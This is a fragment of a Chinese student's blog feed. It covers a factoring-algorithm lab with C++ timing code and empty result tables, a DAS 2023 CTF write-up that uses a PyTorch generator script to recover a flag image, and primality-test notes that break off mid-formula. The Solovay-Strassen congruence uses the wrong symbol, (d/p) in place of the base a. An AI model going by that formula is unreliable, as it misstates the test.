class="built_in">now</span>();</span><br><span class="line"> <span class="keyword">auto</span> duration = std::chrono::<span class="built_in">duration_cast</span><std::chrono::milliseconds>(stop - start);</span><br><span class="line"> std::cout << <span class="string">"Number: "</span> << tmp_num[i] << <span class="string">" Factor: "</span> << factor << <span class="string">" Execution Time: "</span> << duration.<span class="built_in">count</span>() << <span class="string">" milliseconds"</span> << std::endl;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="结果分析">结果分析</h3><h4 id="实验数据">实验数据</h4><table><thead><tr><th>数据编号</th><th>数据值</th></tr></thead><tbody><tr><td>1</td><td>4279209601</td></tr><tr><td>2</td><td>11626953439</td></tr><tr><td>3</td><td>192311489255622</td></tr><tr><td>4</td><td>16095650737563753533</td></tr><tr><td>5</td><td>45808220048235498832399142287</td></tr><tr><td>6</td><td>149735462706744928439306661202330062437</td></tr><tr><td>7</td><td>548025133786371639137565044874029366557</td></tr></tbody></table><h4 id="实验数据生成时间">实验数据生成时间</h4><h5 id="sage实验数据生成时间">sage实验数据生成时间</h5><table><thead><tr><th>实验</th><th>数据 1</th><th>数据 2</th><th>数据 3</th><th>数据 4</th><th>数据 5</th><th>数据 6</th><th>数据 7</th></tr></thead><tbody><tr><td>试除法</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>Pollard <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ρ</mi></mrow><annotation encoding="application/x-tex">\rho</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">ρ</span></span></span></span> 算法</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>Pollard <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">p-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7777700000000001em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span> 算法</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr></tbody></table><h5 id="ntl实验数据生成时间">NTL实验数据生成时间</h5><table><thead><tr><th>实验</th><th>数据 1</th><th>数据 2</th><th>数据 3</th><th>数据 4</th><th>数据 5</th><th>数据 6</th><th>数据 7</th></tr></thead><tbody><tr><td>试除法</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>Pollard <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ρ</mi></mrow><annotation encoding="application/x-tex">\rho</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">ρ</span></span></span></span> 算法</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>Pollard <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">p-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7777700000000001em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span> 算法</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr></tbody></table><h4 id="sage部分结果截图">sage部分结果截图</h4><h5 id="试除法-4">试除法</h5><p><img src="test.jpg" alt="test_img" /></p><h4 id="ntl部分结果截图">NTL部分结果截图</h4><h5 id="试除法-5">试除法</h5><h5 id="pollard-rho-算法-4">Pollard <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ρ</mi></mrow><annotation encoding="application/x-tex">\rho</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">ρ</span></span></span></span> 算法</h5><h5 id="pollard-p-1-算法-3">Pollard <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">p-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7777700000000001em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span> 算法</h5><h2 id="参考文献">参考文献</h2><ul><li>书籍:无</li><li>论文:无</li></ul>]]></content>
<tags>
<tag> school </tag>
</tags>
</entry>
<entry>
<title>About_DAS_2023</title>
<link href="/2023/10/24/About-DAS-2023/"/>
<url>/2023/10/24/About-DAS-2023/</url>
<content type="html"><![CDATA[<h1 id="misc">Misc</h1><p>坐牢8小时,在希望和绝望之间挣扎,唯一能做出来的题被一个5位数字密码拦住了,真是惭愧。在这里复现一下题目,以及解题思路。</p><h2 id="justpaint">Justpaint</h2><p>下载下来是一个压缩包,被加密了,通过爆破软件得到密码:<br /><img src="https://i.imgs.ovh/2023/10/24/FPAhm.png" alt="FPAhm.png" /></p><p>打开压缩包后发现两个文件,一个jbn.pth,<a href="http://xn--train-fg1hyj.py">一个train.py</a>。将train.py里面的代码拿去拷打ChatGPT,理解这段代码就是训练一个模型让图片能逼近flag,继续拷打GPT,得到完整的flag生成脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> torch</span><br><span class="line"><span class="keyword">import</span> torch.nn <span class="keyword">as</span> nn</span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"><span class="keyword">import</span> matplotlib.pyplot <span class="keyword">as</span> plt</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">import</span> cv2</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">JBN</span>(nn.Module):</span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line"> <span class="built_in">super</span>(JBN, self).__init__()</span><br><span class="line"> self.main = nn.Sequential(</span><br><span class="line"> nn.Linear(<span class="number">100</span>, <span class="number">256</span>),</span><br><span class="line"> nn.ReLU(),</span><br><span class="line"> nn.Linear(<span class="number">256</span>, <span class="number">512</span>),</span><br><span class="line"> nn.ReLU(),</span><br><span class="line"> nn.Linear(<span class="number">512</span>, <span class="number">452</span> * <span class="number">280</span>),</span><br><span class="line"> nn.Tanh()</span><br><span class="line"> )</span><br><span class="line"></span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">forward</span>(<span class="params">self, x</span>):</span><br><span class="line"> img = self.main(x)</span><br><span class="line"> img = img.view(-<span class="number">1</span>, <span class="number">452</span>, <span class="number">280</span>)</span><br><span class="line"> <span class="keyword">return</span> img</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">watch_flag</span>(<span class="params">img</span>):</span><br><span class="line"> flag = cv2.imread(<span class="string">'./data/data/flag.png'</span>)</span><br><span class="line"> gray_image = cv2.cvtColor(flag, cv2.COLOR_BGR2GRAY)</span><br><span class="line"> flag_tensor = torch.from_numpy(np.array(gray_image))</span><br><span class="line"> flag_tensor = flag_tensor.unsqueeze(<span class="number">0</span>).transpose(<span class="number">1</span>, <span class="number">2</span>)</span><br><span class="line"> img_tensor = img</span><br><span class="line"> flag_tensor = flag_tensor.unsqueeze(<span class="number">0</span>)</span><br><span class="line"> img_tensor = img_tensor.unsqueeze(<span class="number">0</span>)</span><br><span class="line"> loss_fn = torch.nn.MSELoss()</span><br><span class="line"> loss = loss_fn(flag_tensor.<span class="built_in">float</span>(), img_tensor)</span><br><span class="line"> <span class="keyword">return</span> loss</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># jbn = JBN()</span></span><br><span class="line"><span class="comment"># g_optimizer = torch.optim.Adam(jbn.parameters(), lr=0.001)</span></span><br><span class="line"><span class="comment"># min_loss = float('inf')</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># for epoch in range(10):</span></span><br><span class="line"><span class="comment"># random_noise = torch.randn(1, 100)</span></span><br><span class="line"><span class="comment"># jbn_img = jbn(random_noise)</span></span><br><span class="line"><span class="comment"># g_optimizer.zero_grad()</span></span><br><span class="line"><span class="comment"># g_loss = watch_flag(jbn_img)</span></span><br><span class="line"><span class="comment"># g_loss.backward()</span></span><br><span class="line"><span class="comment"># g_optimizer.step()</span></span><br><span class="line"><span class="comment"># with torch.no_grad():</span></span><br><span class="line"><span class="comment"># if g_loss < min_loss:</span></span><br><span class="line"><span class="comment"># min_loss = g_loss</span></span><br><span class="line"><span class="comment"># torch.save(jbn.state_dict(), 'jbn.pth')</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> torch</span><br><span class="line"><span class="keyword">import</span> cv2</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建模型实例</span></span><br><span class="line">jbn = JBN()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 加载模型参数</span></span><br><span class="line">jbn.load_state_dict(torch.load(<span class="string">r"C:\Users\ASUSROG\Desktop\jbn.pth"</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 将模型设置为评估模式(不进行梯度计算)</span></span><br><span class="line">jbn.<span class="built_in">eval</span>()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成随机噪声向量</span></span><br><span class="line">random_noise = torch.randn(<span class="number">1</span>, <span class="number">100</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用生成器生成图像</span></span><br><span class="line">generated_image = jbn(random_noise)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 将生成的图像从张量转换为NumPy数组</span></span><br><span class="line">generated_image = generated_image.squeeze().detach().numpy()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 指定保存图像的完整文件路径</span></span><br><span class="line">image_path = <span class="string">r"C:\Users\ASUSROG\Desktop\flag.png"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成的图像保存为 'flag.png' 文件</span></span><br><span class="line">cv2.imwrite(image_path, generated_image * <span class="number">255</span>) <span class="comment"># 请确保生成的图像是[0, 255]范围的像素值</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f"生成的图像已保存到 <span class="subst">{image_path}</span>。"</span>)</span><br></pre></td></tr></table></figure><p>得到flag.png:<br /><img src="https://i.imgs.ovh/2023/10/24/FPmdK.png" alt="FPmdK.png" /></p>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>第三次公钥实验</title>
<link href="/2023/10/23/PKC-ex-3/"/>
<url>/2023/10/23/PKC-ex-3/</url>
<content type="html"><![CDATA[<h1 id="第三次ntl相关理论分析">第三次NTL相关理论分析</h1><h2 id="fermat"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi><mi>e</mi><mi>r</mi><mi>m</mi><mi>a</mi><mi>t</mi></mrow><annotation encoding="application/x-tex">Fermat</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">m</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span></span></span></span></h2><p>基于费马小定理,对于素数p有:</p><p class='katex-block'><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>a</mi><mrow><mi>p</mi><mo>−</mo><mn>1</mn></mrow></msup><mo>≡</mo><mn>1</mn><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333333333333333em"/><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">a^{p-1} \equiv 1 \pmod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.864108em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.864108em;"><span style="top:-3.1130000000000004em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.3333333333333333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></span></p><p>费马素性检验的基本思想是:对于给定的数<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">n</span></span></span></span>,随机选择一个整数<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">a</span></span></span></span>,如果<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msup><mspace></mspace><mspace width="0.6666666666666666em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>n</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">a^{n-1} \mod n = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6666666666666666em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span>,则<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">n</span></span></span></span>可能是素数,否则<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">n</span></span></span></span>是合数。所以计算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">a^{n-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span> 是否<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mspace></mspace><mspace width="0.6666666666666666em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>n</mi></mrow><annotation encoding="application/x-tex">\mod n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;vertical-align:0em;"></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6666666666666666em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">n</span></span></span></span>余<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span>就可以粗略地判断一个数是否为素数,多次实验可以提高判断的正确率。</p><h2 id="solovay-strassen"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi>o</mi><mi>l</mi><mi>o</mi><mi>v</mi><mi>a</mi><mi>y</mi><mo>−</mo><mi>S</mi><mi>t</mi><mi>r</mi><mi>a</mi><mi>s</mi><mi>s</mi><mi>e</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">Solovay-Strassen</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">s</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span></span></span></span></h2><p>基于<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>J</mi><mi>a</mi><mi>c</mi><mi>o</mi><mi>b</mi><mi>i</mi></mrow><annotation encoding="application/x-tex">Jacobi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.09618em;">J</span><span class="mord mathnormal">a</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">b</span><span class="mord mathnormal">i</span></span></span></span>符号,对于素数p有:</p><p class='katex-block'><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>a</mi><mfrac><mrow><mi>p</mi><mo>−</mo><mn>1</mn></mrow><mn>2</mn></mfrac></msup><mo>≡</mo><mrow><mo fence="true">(</mo><mfrac><mi>d</mi><mi>p</mi></mfrac><mo fence="true">)</mo></mrow><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333333333333333em"/><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">a^{\frac{p-1}{2}} \equiv \left(\frac{d}{p}\right) \pmod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0588899999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.0588899999999999em;"><span style="top:-3.4130000000000003em;margin-right:0.05em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9227em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.2255000000000003em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.4623857142857144em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:2.40003em;vertical-align:-0.95003em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.37144em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">d</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.8804400000000001em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.3333333333333333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></span></p><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi>o</mi><mi>l</mi><mi>o</mi><mi>v</mi><mi>a</mi><mi>y</mi><mo>−</mo><mi>S</mi><mi>t</mi><mi>r</mi><mi>a</mi><mi>s</mi><mi>s</mi><mi>e</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">Solovay-Strassen</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">s</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span></span></span></span>素性检验的基本思想是:对于给定的数<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">n</span></span></span></span>,随机选择一个整数<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">a</span></span></span></span>,如果<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mfrac><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow><mn>2</mn></mfrac></msup><mspace></mspace><mspace width="0.6666666666666666em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>n</mi><mo>=</mo><mrow><mo fence="true">(</mo><mfrac><mi>d</mi><mi>p</mi></mfrac><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">a^{\frac{n-1}{2}} 